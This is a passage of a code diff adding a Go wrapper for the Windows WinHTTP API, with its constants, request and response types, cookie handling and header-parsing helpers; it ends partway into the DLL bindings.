ErrorWinhttpReserved189 uintptr = (WinhttpErrorBase + 189)
|
||||
ErrorWinhttpHTTPProtocolMismatch uintptr = (WinhttpErrorBase + 190)
|
||||
WinhttpErrorLast uintptr = (WinhttpErrorBase + 188)
|
||||
WinhttpResetState uintptr = 0x00000001
|
||||
WinhttpResetSwpadCurrentNetwork uintptr = 0x00000002
|
||||
WinhttpResetSwpadAll uintptr = 0x00000004
|
||||
WinhttpResetScriptCache uintptr = 0x00000008
|
||||
WinhttpResetAll uintptr = 0x0000FFFF
|
||||
WinhttpResetNotifyNetworkChanged uintptr = 0x00010000
|
||||
WinhttpResetOutOfProc uintptr = 0x00020000
|
||||
WinhttpResetDiscardResolvers uintptr = 0x00040000
|
||||
HTTPStatusContinue uintptr = 100
|
||||
HTTPStatusSwitchProtocols uintptr = 101
|
||||
HTTPStatusOk uintptr = 200
|
||||
HTTPStatusCreated uintptr = 201
|
||||
HTTPStatusAccepted uintptr = 202
|
||||
HTTPStatusPartial uintptr = 203
|
||||
HTTPStatusNoContent uintptr = 204
|
||||
HTTPStatusResetContent uintptr = 205
|
||||
HTTPStatusPartialContent uintptr = 206
|
||||
HTTPStatusWebdavMultiStatus uintptr = 207
|
||||
HTTPStatusAmbiguous uintptr = 300
|
||||
HTTPStatusMoved uintptr = 301
|
||||
HTTPStatusRedirect uintptr = 302
|
||||
HTTPStatusRedirectMethod uintptr = 303
|
||||
HTTPStatusNotModified uintptr = 304
|
||||
HTTPStatusUseProxy uintptr = 305
|
||||
HTTPStatusRedirectKeepVerb uintptr = 307
|
||||
HTTPStatusPermanentRedirect uintptr = 308
|
||||
HTTPStatusBadRequest uintptr = 400
|
||||
HTTPStatusDenied uintptr = 401
|
||||
HTTPStatusPaymentReq uintptr = 402
|
||||
HTTPStatusForbidden uintptr = 403
|
||||
HTTPStatusNotFound uintptr = 404
|
||||
HTTPStatusBadMethod uintptr = 405
|
||||
HTTPStatusNoneAcceptable uintptr = 406
|
||||
HTTPStatusProxyAuthReq uintptr = 407
|
||||
HTTPStatusRequestTimeout uintptr = 408
|
||||
HTTPStatusConflict uintptr = 409
|
||||
HTTPStatusGone uintptr = 410
|
||||
HTTPStatusLengthRequired uintptr = 411
|
||||
HTTPStatusPrecondFailed uintptr = 412
|
||||
HTTPStatusRequestTooLarge uintptr = 413
|
||||
HTTPStatusUriTooLong uintptr = 414
|
||||
HTTPStatusUnsupportedMedia uintptr = 415
|
||||
HTTPStatusRetryWith uintptr = 449
|
||||
HTTPStatusServerError uintptr = 500
|
||||
HTTPStatusNotSupported uintptr = 501
|
||||
HTTPStatusBadGateway uintptr = 502
|
||||
HTTPStatusServiceUnavail uintptr = 503
|
||||
HTTPStatusGatewayTimeout uintptr = 504
|
||||
HTTPStatusVersionNotSup uintptr = 505
|
||||
HTTPStatusFirst uintptr = HTTPStatusContinue
|
||||
HTTPStatusLast uintptr = HTTPStatusVersionNotSup
|
||||
SecurityFlagIgnoreUnknownCa uintptr = 0x00000100
|
||||
SecurityFlagIgnoreCertDateInvalid uintptr = 0x00002000
|
||||
SecurityFlagIgnoreCertCnInvalid uintptr = 0x00001000
|
||||
SecurityFlagIgnoreCertWrongUsage uintptr = 0x00000200
|
||||
SecurityFlagSecure uintptr = 0x00000001
|
||||
SecurityFlagStrengthWeak uintptr = 0x10000000
|
||||
SecurityFlagStrengthMedium uintptr = 0x40000000
|
||||
SecurityFlagStrengthStrong uintptr = 0x20000000
|
||||
IcuNoEncode uintptr = 0x20000000
|
||||
IcuDecode uintptr = 0x10000000
|
||||
IcuNoMeta uintptr = 0x08000000
|
||||
IcuEncodeSpacesOnly uintptr = 0x04000000
|
||||
IcuBrowserMode uintptr = 0x02000000
|
||||
IcuEncodePercent uintptr = 0x00001000
|
||||
WinhttpQueryMimeVersion uintptr = 0
|
||||
WinhttpQueryContentType uintptr = 1
|
||||
WinhttpQueryContentTransferEncoding uintptr = 2
|
||||
WinhttpQueryContentId uintptr = 3
|
||||
WinhttpQueryContentDescription uintptr = 4
|
||||
WinhttpQueryContentLength uintptr = 5
|
||||
WinhttpQueryContentLanguage uintptr = 6
|
||||
WinhttpQueryAllow uintptr = 7
|
||||
WinhttpQueryPublic uintptr = 8
|
||||
WinhttpQueryDate uintptr = 9
|
||||
WinhttpQueryExpires uintptr = 10
|
||||
WinhttpQueryLastModified uintptr = 11
|
||||
WinhttpQueryMessageId uintptr = 12
|
||||
WinhttpQueryUri uintptr = 13
|
||||
WinhttpQueryDerivedFrom uintptr = 14
|
||||
WinhttpQueryCost uintptr = 15
|
||||
WinhttpQueryLink uintptr = 16
|
||||
WinhttpQueryPragma uintptr = 17
|
||||
WinhttpQueryVersion uintptr = 18
|
||||
WinhttpQueryStatusCode uintptr = 19
|
||||
WinhttpQueryStatusText uintptr = 20
|
||||
WinhttpQueryRawHeaders uintptr = 21
|
||||
WinhttpQueryRawHeadersCRLF uintptr = 22
|
||||
WinhttpQueryConnection uintptr = 23
|
||||
WinhttpQueryAccept uintptr = 24
|
||||
WinhttpQueryAcceptCharset uintptr = 25
|
||||
WinhttpQueryAcceptEncoding uintptr = 26
|
||||
WinhttpQueryAcceptLanguage uintptr = 27
|
||||
WinhttpQueryAuthorization uintptr = 28
|
||||
WinhttpQueryContentEncoding uintptr = 29
|
||||
WinhttpQueryForwarded uintptr = 30
|
||||
WinhttpQueryFrom uintptr = 31
|
||||
WinhttpQueryIfModifiedSince uintptr = 32
|
||||
WinhttpQueryLocation uintptr = 33
|
||||
WinhttpQueryOrigUri uintptr = 34
|
||||
WinhttpQueryReferer uintptr = 35
|
||||
WinhttpQueryRetryAfter uintptr = 36
|
||||
WinhttpQueryServer uintptr = 37
|
||||
WinhttpQueryTitle uintptr = 38
|
||||
WinhttpQueryUserAgent uintptr = 39
|
||||
WinhttpQueryWwwAuthenticate uintptr = 40
|
||||
WinhttpQueryProxyAuthenticate uintptr = 41
|
||||
WinhttpQueryAcceptRanges uintptr = 42
|
||||
WinhttpQuerySetCookie uintptr = 43
|
||||
WinhttpQueryCookie uintptr = 44
|
||||
WinhttpQueryRequestMethod uintptr = 45
|
||||
WinhttpQueryRefresh uintptr = 46
|
||||
WinhttpQueryContentDisposition uintptr = 47
|
||||
WinhttpQueryAge uintptr = 48
|
||||
WinhttpQueryCacheControl uintptr = 49
|
||||
WinhttpQueryContentBase uintptr = 50
|
||||
WinhttpQueryContentLocation uintptr = 51
|
||||
WinhttpQueryContentMd5 uintptr = 52
|
||||
WinhttpQueryContentRange uintptr = 53
|
||||
WinhttpQueryEtag uintptr = 54
|
||||
WinhttpQueryHost uintptr = 55
|
||||
WinhttpQueryIfMatch uintptr = 56
|
||||
WinhttpQueryIfNoneMatch uintptr = 57
|
||||
WinhttpQueryIfRange uintptr = 58
|
||||
WinhttpQueryIfUnmodifiedSince uintptr = 59
|
||||
WinhttpQueryMaxForwards uintptr = 60
|
||||
WinhttpQueryProxyAuthorization uintptr = 61
|
||||
WinhttpQueryRange uintptr = 62
|
||||
WinhttpQueryTransferEncoding uintptr = 63
|
||||
WinhttpQueryUpgrade uintptr = 64
|
||||
WinhttpQueryVary uintptr = 65
|
||||
WinhttpQueryVia uintptr = 66
|
||||
WinhttpQueryWarning uintptr = 67
|
||||
WinhttpQueryExpect uintptr = 68
|
||||
WinhttpQueryProxyConnection uintptr = 69
|
||||
WinhttpQueryUnlessModifiedSince uintptr = 70
|
||||
WinhttpQueryProxySupport uintptr = 75
|
||||
WinhttpQueryAuthenticationInfo uintptr = 76
|
||||
WinhttpQueryPassportUrls uintptr = 77
|
||||
WinhttpQueryPassportConfig uintptr = 78
|
||||
WinhttpQueryMax uintptr = 78
|
||||
WinhttpQueryCustom uintptr = 65535
|
||||
WinhttpQueryFlagRequestHeaders uintptr = 0x80000000
|
||||
WinhttpQueryFlagSystemtime uintptr = 0x40000000
|
||||
WinhttpQueryFlagNumber uintptr = 0x20000000
|
||||
WinhttpQueryFlagNumber64 uintptr = 0x08000000
|
||||
WinhttpCallbackStatusResolvingName uintptr = 0x00000001
|
||||
WinhttpCallbackStatusNameResolved uintptr = 0x00000002
|
||||
WinhttpCallbackStatusConnectingToServer uintptr = 0x00000004
|
||||
WinhttpCallbackStatusConnectedToServer uintptr = 0x00000008
|
||||
WinhttpCallbackStatusSendingRequest uintptr = 0x00000010
|
||||
WinhttpCallbackStatusRequestSent uintptr = 0x00000020
|
||||
WinhttpCallbackStatusReceivingResponse uintptr = 0x00000040
|
||||
WinhttpCallbackStatusResponseReceived uintptr = 0x00000080
|
||||
WinhttpCallbackStatusClosingConnection uintptr = 0x00000100
|
||||
WinhttpCallbackStatusConnectionClosed uintptr = 0x00000200
|
||||
WinhttpCallbackStatusHandleCreated uintptr = 0x00000400
|
||||
WinhttpCallbackStatusHandleClosing uintptr = 0x00000800
|
||||
WinhttpCallbackStatusDetectingProxy uintptr = 0x00001000
|
||||
WinhttpCallbackStatusRedirect uintptr = 0x00004000
|
||||
WinhttpCallbackStatusIntermediateResponse uintptr = 0x00008000
|
||||
WinhttpCallbackStatusSecureFailure uintptr = 0x00010000
|
||||
WinhttpCallbackStatusHeadersAvailable uintptr = 0x00020000
|
||||
WinhttpCallbackStatusDataAvailable uintptr = 0x00040000
|
||||
WinhttpCallbackStatusReadComplete uintptr = 0x00080000
|
||||
WinhttpCallbackStatusWriteComplete uintptr = 0x00100000
|
||||
WinhttpCallbackStatusRequestError uintptr = 0x00200000
|
||||
WinhttpCallbackStatusSendrequestComplete uintptr = 0x00400000
|
||||
WinhttpCallbackStatusGetproxyforurlComplete uintptr = 0x01000000
|
||||
WinhttpCallbackStatusCloseComplete uintptr = 0x02000000
|
||||
WinhttpCallbackStatusShutdownComplete uintptr = 0x04000000
|
||||
WinhttpCallbackStatusSettingsWriteComplete uintptr = 0x10000000
|
||||
WinhttpCallbackStatusSettingsReadComplete uintptr = 0x20000000
|
||||
WinhttpCallbackFlagResolveName uintptr = (WinhttpCallbackStatusResolvingName | WinhttpCallbackStatusNameResolved)
|
||||
WinhttpCallbackFlagConnectToServer uintptr = (WinhttpCallbackStatusConnectingToServer | WinhttpCallbackStatusConnectedToServer)
|
||||
WinhttpCallbackFlagSendRequest uintptr = (WinhttpCallbackStatusSendingRequest | WinhttpCallbackStatusRequestSent)
|
||||
WinhttpCallbackFlagReceiveResponse uintptr = (WinhttpCallbackStatusReceivingResponse | WinhttpCallbackStatusResponseReceived)
|
||||
WinhttpCallbackFlagCloseConnection uintptr = (WinhttpCallbackStatusClosingConnection | WinhttpCallbackStatusConnectionClosed)
|
||||
WinhttpCallbackFlagHandles uintptr = (WinhttpCallbackStatusHandleCreated | WinhttpCallbackStatusHandleClosing)
|
||||
WinhttpCallbackFlagDetectingProxy uintptr = WinhttpCallbackStatusDetectingProxy
|
||||
WinhttpCallbackFlagRedirect uintptr = WinhttpCallbackStatusRedirect
|
||||
WinhttpCallbackFlagIntermediateResponse uintptr = WinhttpCallbackStatusIntermediateResponse
|
||||
WinhttpCallbackFlagSecureFailure uintptr = WinhttpCallbackStatusSecureFailure
|
||||
WinhttpCallbackFlagSendrequestComplete uintptr = WinhttpCallbackStatusSendrequestComplete
|
||||
WinhttpCallbackFlagHeadersAvailable uintptr = WinhttpCallbackStatusHeadersAvailable
|
||||
WinhttpCallbackFlagDataAvailable uintptr = WinhttpCallbackStatusDataAvailable
|
||||
WinhttpCallbackFlagReadComplete uintptr = WinhttpCallbackStatusReadComplete
|
||||
WinhttpCallbackFlagWriteComplete uintptr = WinhttpCallbackStatusWriteComplete
|
||||
WinhttpCallbackFlagRequestError uintptr = WinhttpCallbackStatusRequestError
|
||||
WinhttpCallbackFlagGetproxyforurlComplete uintptr = WinhttpCallbackStatusGetproxyforurlComplete
|
||||
WinhttpCallbackFlagAllCompletions uintptr = (WinhttpCallbackStatusSendrequestComplete | WinhttpCallbackStatusHeadersAvailable | WinhttpCallbackStatusDataAvailable | WinhttpCallbackStatusReadComplete | WinhttpCallbackStatusWriteComplete | WinhttpCallbackStatusRequestError | WinhttpCallbackStatusGetproxyforurlComplete)
|
||||
WinhttpCallbackFlagAllNotifications uintptr = 0xffffffff
|
||||
ApiReceiveResponse uintptr = (1)
|
||||
ApiQueryDataAvailable uintptr = (2)
|
||||
ApiReadData uintptr = (3)
|
||||
ApiWriteData uintptr = (4)
|
||||
ApiSendRequest uintptr = (5)
|
||||
ApiGetProxyForUrl uintptr = (6)
|
||||
WinhttpHandleTypeSession uintptr = 1
|
||||
WinhttpHandleTypeConnect uintptr = 2
|
||||
WinhttpHandleTypeRequest uintptr = 3
|
||||
WinhttpCallbackStatusFlagCertRevFailed uintptr = 0x00000001
|
||||
WinhttpCallbackStatusFlagInvalidCert uintptr = 0x00000002
|
||||
WinhttpCallbackStatusFlagCertRevoked uintptr = 0x00000004
|
||||
WinhttpCallbackStatusFlagInvalidCa uintptr = 0x00000008
|
||||
WinhttpCallbackStatusFlagCertCnInvalid uintptr = 0x00000010
|
||||
WinhttpCallbackStatusFlagCertDateInvalid uintptr = 0x00000020
|
||||
WinhttpCallbackStatusFlagCertWrongUsage uintptr = 0x00000040
|
||||
WinhttpCallbackStatusFlagSecurityChannelError uintptr = 0x80000000
|
||||
WinhttpFlagSecureProtocolSsl2 uintptr = 0x00000008
|
||||
WinhttpFlagSecureProtocolSsl3 uintptr = 0x00000020
|
||||
WinhttpFlagSecureProtocolTls1 uintptr = 0x00000080
|
||||
WinhttpFlagSecureProtocolTls11 uintptr = 0x00000200
|
||||
WinhttpFlagSecureProtocolTls12 uintptr = 0x00000800
|
||||
WinhttpFlagSecureProtocolTls13 uintptr = 0x00002000
|
||||
WinhttpFlagSecureProtocolAll uintptr = (WinhttpFlagSecureProtocolSsl2 | WinhttpFlagSecureProtocolSsl3 | WinhttpFlagSecureProtocolTls1)
|
||||
WinhttpAuthSchemeBasic uintptr = 0x00000001
|
||||
WinhttpAuthSchemeNtlm uintptr = 0x00000002
|
||||
WinhttpAuthSchemePassport uintptr = 0x00000004
|
||||
WinhttpAuthSchemeDigest uintptr = 0x00000008
|
||||
WinhttpAuthSchemeNegotiate uintptr = 0x00000010
|
||||
WinhttpAuthTargetServer uintptr = 0x00000000
|
||||
WinhttpAuthTargetProxy uintptr = 0x00000001
|
||||
WinhttpTimeFormatBufsize uintptr = 62
|
||||
WinhttpAutoDetectTypeDhcp uintptr = 0x00000001
|
||||
WinhttpAutoDetectTypeDnsA uintptr = 0x00000002
|
||||
WinhttpAutoproxyAutoDetect uintptr = 0x00000001
|
||||
WinhttpAutoproxyConfigUrl uintptr = 0x00000002
|
||||
WinhttpAutoproxyHostKeepcase uintptr = 0x00000004
|
||||
WinhttpAutoproxyHostLowercase uintptr = 0x00000008
|
||||
WinhttpAutoproxyAllowAutoconfig uintptr = 0x00000100
|
||||
WinhttpAutoproxyAllowStatic uintptr = 0x00000200
|
||||
WinhttpAutoproxyAllowCm uintptr = 0x00000400
|
||||
WinhttpAutoproxyRunInprocess uintptr = 0x00010000
|
||||
WinhttpAutoproxyRunOutprocessOnly uintptr = 0x00020000
|
||||
WinhttpAutoproxyNoDirectaccess uintptr = 0x00040000
|
||||
WinhttpAutoproxyNoCacheClient uintptr = 0x00080000
|
||||
WinhttpAutoproxyNoCacheSvc uintptr = 0x00100000
|
||||
WinhttpAutoproxySortResults uintptr = 0x00400000
|
||||
NetworkingKeyBufsize uintptr = 128
|
||||
WinhttpRequestStatFlagTcpFastOpen uintptr = 0x00000001
|
||||
WinhttpRequestStatFlagTlsSessionResumption uintptr = 0x00000002
|
||||
WinhttpRequestStatFlagTlsFalseStart uintptr = 0x00000004
|
||||
WinhttpRequestStatFlagProxyTlsSessionResumption uintptr = 0x00000008
|
||||
WinhttpRequestStatFlagProxyTlsFalseStart uintptr = 0x00000010
|
||||
WinhttpRequestStatFlagFirstRequest uintptr = 0x00000020
|
||||
WinhttpWebSocketMaxCloseReasonLength uintptr = 123
|
||||
WinhttpWebSocketMinKeepaliveValue uintptr = 15000
|
||||
)
|
||||
@@ -0,0 +1,20 @@
|
||||
package winhttp
|
||||
|
||||
import "errors"
|
||||
|
||||
// ErrNoCookie is returned by Request's Cookie method when a cookie is
|
||||
// not found.
|
||||
var ErrNoCookie = errors.New("named cookie not present")
|
||||
|
||||
// Common HTTP methods.
|
||||
const (
|
||||
MethodConnect string = "CONNECT"
|
||||
MethodDelete string = "DELETE"
|
||||
MethodGet string = "GET"
|
||||
MethodHead string = "HEAD"
|
||||
MethodOptions string = "OPTIONS"
|
||||
MethodPatch string = "PATCH"
|
||||
MethodPost string = "POST"
|
||||
MethodPut string = "PUT"
|
||||
MethodTrace string = "TRACE"
|
||||
)
|
||||
@@ -0,0 +1,55 @@
|
||||
package winhttp
|
||||
|
||||
// Request is a struct containing common HTTP request data.
|
||||
type Request struct {
|
||||
Body []byte
|
||||
cookies []*Cookie
|
||||
Headers map[string]string
|
||||
Method string
|
||||
URL string
|
||||
}
|
||||
|
||||
// NewRequest will return a pointer to a new Request instance.
|
||||
func NewRequest(method, url string, body ...[]byte) *Request {
|
||||
var b []byte
|
||||
|
||||
if len(body) > 0 {
|
||||
b = body[0]
|
||||
}
|
||||
|
||||
return &Request{
|
||||
Body: b,
|
||||
Headers: map[string]string{},
|
||||
Method: method,
|
||||
URL: url,
|
||||
}
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Request) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Request or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Request) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Request.
|
||||
func (r *Request) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package winhttp
|
||||
|
||||
import "io"
|
||||
|
||||
// Response is a struct containing common HTTP response data.
|
||||
type Response struct {
|
||||
Body io.ReadCloser
|
||||
cookies []*Cookie
|
||||
ContentLength int64
|
||||
Header map[string][]string
|
||||
Proto string
|
||||
ProtoMajor int
|
||||
ProtoMinor int
|
||||
Status string
|
||||
StatusCode int
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Response) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Response or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Response) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Response.
|
||||
func (r *Response) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,358 @@
|
||||
package winhttp
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func convertFail(str string, e error) error {
|
||||
return fmt.Errorf(
|
||||
"failed to convert %s to Windows type: %w",
|
||||
str,
|
||||
e,
|
||||
)
|
||||
}
|
||||
|
||||
func buildRequest(sessionHandle uintptr, req *Request) (uintptr, error) {
|
||||
var connHandle uintptr
|
||||
var err error
|
||||
var flags uintptr
|
||||
var port int64
|
||||
var query string
|
||||
var reqHandle uintptr
|
||||
var uri *url.URL
|
||||
|
||||
// Parse URL
|
||||
if uri, err = url.Parse(req.URL); err != nil {
|
||||
return 0, fmt.Errorf("failed to parse url %s: %w", req.URL, err)
|
||||
}
|
||||
|
||||
if uri.Port() != "" {
|
||||
if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
|
||||
err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
|
||||
switch uri.Scheme {
|
||||
case "https":
|
||||
flags = WinhttpFlagSecure
|
||||
}
|
||||
|
||||
// Create connection
|
||||
connHandle, err = Connect(
|
||||
sessionHandle,
|
||||
uri.Hostname(),
|
||||
int(port),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to create connection: %w", err)
|
||||
}
|
||||
|
||||
// Send query string too
|
||||
if uri.RawQuery != "" {
|
||||
query = "?" + uri.RawQuery
|
||||
}
|
||||
|
||||
// Create HTTP request
|
||||
reqHandle, err = OpenRequest(
|
||||
connHandle,
|
||||
req.Method,
|
||||
uri.Path+query,
|
||||
"",
|
||||
"",
|
||||
[]string{},
|
||||
flags,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to open request: %w", err)
|
||||
}
|
||||
|
||||
return reqHandle, nil
|
||||
}
|
||||
|
||||
func buildResponse(reqHandle uintptr, req *Request) (*Response, error) {
|
||||
var buf []byte
|
||||
var body io.ReadCloser
|
||||
var code int64
|
||||
var contentLen int64
|
||||
var cookies []*Cookie
|
||||
var err error
|
||||
var headers map[string][]string
|
||||
var major int
|
||||
var minor int
|
||||
var proto string
|
||||
var resp *Response
|
||||
var status string
|
||||
|
||||
// Get response
|
||||
if err = ReceiveResponse(reqHandle); err != nil {
|
||||
return nil, fmt.Errorf("failed to get response: %w", err)
|
||||
}
|
||||
|
||||
// Get status code
|
||||
buf, err = queryResponse(reqHandle, WinhttpQueryStatusCode, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
status = string(buf)
|
||||
if code, err = strconv.ParseInt(status, 10, 64); err != nil {
|
||||
return nil, fmt.Errorf("status %s invalid: %w", status, err)
|
||||
}
|
||||
|
||||
// Get status text
|
||||
buf, err = queryResponse(reqHandle, WinhttpQueryStatusText, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
} else if len(buf) > 0 {
|
||||
status += " " + string(buf)
|
||||
}
|
||||
|
||||
// Parse cookies
|
||||
cookies = getCookies(reqHandle)
|
||||
|
||||
// Parse headers and proto
|
||||
if proto, major, minor, headers, err = getHeaders(reqHandle); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read response body
|
||||
if body, contentLen, err = readResponse(reqHandle); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp = &Response{
|
||||
Body: body,
|
||||
ContentLength: contentLen,
|
||||
Header: headers,
|
||||
Proto: proto,
|
||||
ProtoMajor: major,
|
||||
ProtoMinor: minor,
|
||||
Status: status,
|
||||
StatusCode: int(code),
|
||||
}
|
||||
|
||||
// Concat all cookies
|
||||
for _, c := range req.Cookies() {
|
||||
resp.AddCookie(c)
|
||||
}
|
||||
|
||||
for _, c := range cookies {
|
||||
resp.AddCookie(c)
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func getCookies(reqHandle uintptr) []*Cookie {
|
||||
var buf []byte
|
||||
var cookies []*Cookie
|
||||
var err error
|
||||
var tmp []string
|
||||
|
||||
// Get cookies
|
||||
for index := 0; ; index++ {
|
||||
buf, err = queryResponse(
|
||||
reqHandle,
|
||||
WinhttpQuerySetCookie,
|
||||
index,
|
||||
)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
tmp = strings.SplitN(string(buf), "=", 2)
|
||||
cookies = append(
|
||||
cookies,
|
||||
&Cookie{Name: tmp[0], Value: tmp[1]},
|
||||
)
|
||||
}
|
||||
|
||||
return cookies
|
||||
}
|
||||
|
||||
func getHeaders(reqHandle uintptr) (string, int, int, map[string][]string, error) {
|
||||
var buf []byte
|
||||
var err error
|
||||
var headers = map[string][]string{}
|
||||
var major int64
|
||||
var minor int64
|
||||
var proto string
|
||||
var tmp []string
|
||||
|
||||
// Get headers
|
||||
buf, err = queryResponse(
|
||||
reqHandle,
|
||||
WinhttpQueryRawHeadersCRLF,
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
|
||||
for _, hdr := range strings.Split(string(buf), "\r\n") {
|
||||
tmp = strings.SplitN(hdr, ": ", 2)
|
||||
|
||||
if len(tmp) == 2 {
|
||||
if _, ok := headers[tmp[0]]; !ok {
|
||||
headers[tmp[0]] = []string{}
|
||||
}
|
||||
|
||||
headers[tmp[0]] = append(headers[tmp[0]], tmp[1])
|
||||
} else if strings.HasPrefix(hdr, "HTTP") {
|
||||
proto = strings.Fields(hdr)[0]
|
||||
tmp = strings.Split(proto, ".")
|
||||
|
||||
if len(tmp) >= 2 {
|
||||
tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
|
||||
|
||||
major, err = strconv.ParseInt(tmp[0], 10, 64)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("invalid HTTP version: %w", err)
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
|
||||
minor, err = strconv.ParseInt(tmp[1], 10, 64)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("invalid HTTP version: %w", err)
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return proto, int(major), int(minor), headers, nil
|
||||
}
|
||||
|
||||
func queryResponse(reqHandle, info uintptr, idx int) ([]byte, error) {
|
||||
var buffer []byte
|
||||
var err error
|
||||
var size int
|
||||
|
||||
if idx < 0 {
|
||||
idx = 0
|
||||
}
|
||||
|
||||
err = QueryHeaders(
|
||||
reqHandle,
|
||||
info,
|
||||
"",
|
||||
&buffer,
|
||||
&size,
|
||||
&idx,
|
||||
)
|
||||
if err != nil {
|
||||
buffer = make([]byte, size)
|
||||
|
||||
err = QueryHeaders(
|
||||
reqHandle,
|
||||
info,
|
||||
"",
|
||||
&buffer,
|
||||
&size,
|
||||
&idx,
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to query info: %w", err)
|
||||
return []byte{}, err
|
||||
}
|
||||
}
|
||||
|
||||
return buffer, nil
|
||||
}
|
||||
|
||||
func readResponse(reqHandle uintptr) (io.ReadCloser, int64, error) {
|
||||
var buf []byte
|
||||
var chunk []byte
|
||||
var chunkLen int64
|
||||
var contentLen int64
|
||||
var err error
|
||||
var n int64
|
||||
|
||||
// Get Content-Length and body of response
|
||||
for {
|
||||
// Get next chunk size
|
||||
err = QueryDataAvailable(reqHandle, &chunkLen)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to query data available: %w", err)
|
||||
break
|
||||
}
|
||||
|
||||
// Stop, if finished
|
||||
if chunkLen == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
// Read next chunk
|
||||
err = ReadData(reqHandle, &chunk, chunkLen, &n)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to read data: %w", err)
|
||||
break
|
||||
}
|
||||
|
||||
// Update fields
|
||||
contentLen += chunkLen
|
||||
buf = append(buf, chunk...)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
|
||||
return ioutil.NopCloser(bytes.NewReader(buf)), contentLen, nil
|
||||
}
|
||||
|
||||
func sendRequest(reqHandle uintptr, req *Request) error {
|
||||
var err error
|
||||
var method uintptr
|
||||
|
||||
// Process cookies
|
||||
method = WinhttpAddreqFlagAdd
|
||||
method |= WinhttpAddreqFlagCoalesceWithSemicolon
|
||||
|
||||
for _, c := range req.Cookies() {
|
||||
err = AddRequestHeaders(
|
||||
reqHandle,
|
||||
"Cookie: "+c.Name+"="+c.Value,
|
||||
method,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add cookies: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Process headers
|
||||
method = WinhttpAddreqFlagAdd
|
||||
method |= WinhttpAddreqFlagReplace
|
||||
|
||||
for k, v := range req.Headers {
|
||||
err = AddRequestHeaders(
|
||||
reqHandle,
|
||||
k+": "+v,
|
||||
method,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add request headers: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Send HTTP request
|
||||
err = SendRequest(
|
||||
reqHandle,
|
||||
"",
|
||||
0,
|
||||
req.Body,
|
||||
len(req.Body),
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to send request: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
package winhttp
|
||||
|
||||
//go:generate go run ../tools/defines.go winhttp /usr/x86_64-w64-mingw32/include/winhttp.h
|
||||
@@ -0,0 +1,405 @@
|
||||
package winhttp
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var winhttp *windows.LazyDLL = windows.NewLazySystemDLL("Winhttp")
|
||||
|
||||
// AddRequestHeaders is WinHttpAddRequestHeaders from winhttp.h
|
||||
func AddRequestHeaders(
|
||||
reqHndl uintptr,
|
||||
header string,
|
||||
addMethod uintptr,
|
||||
) error {
|
||||
var e error
|
||||
var ok uintptr
|
||||
var proc string = "WinHttpAddRequestHeaders"
|
||||
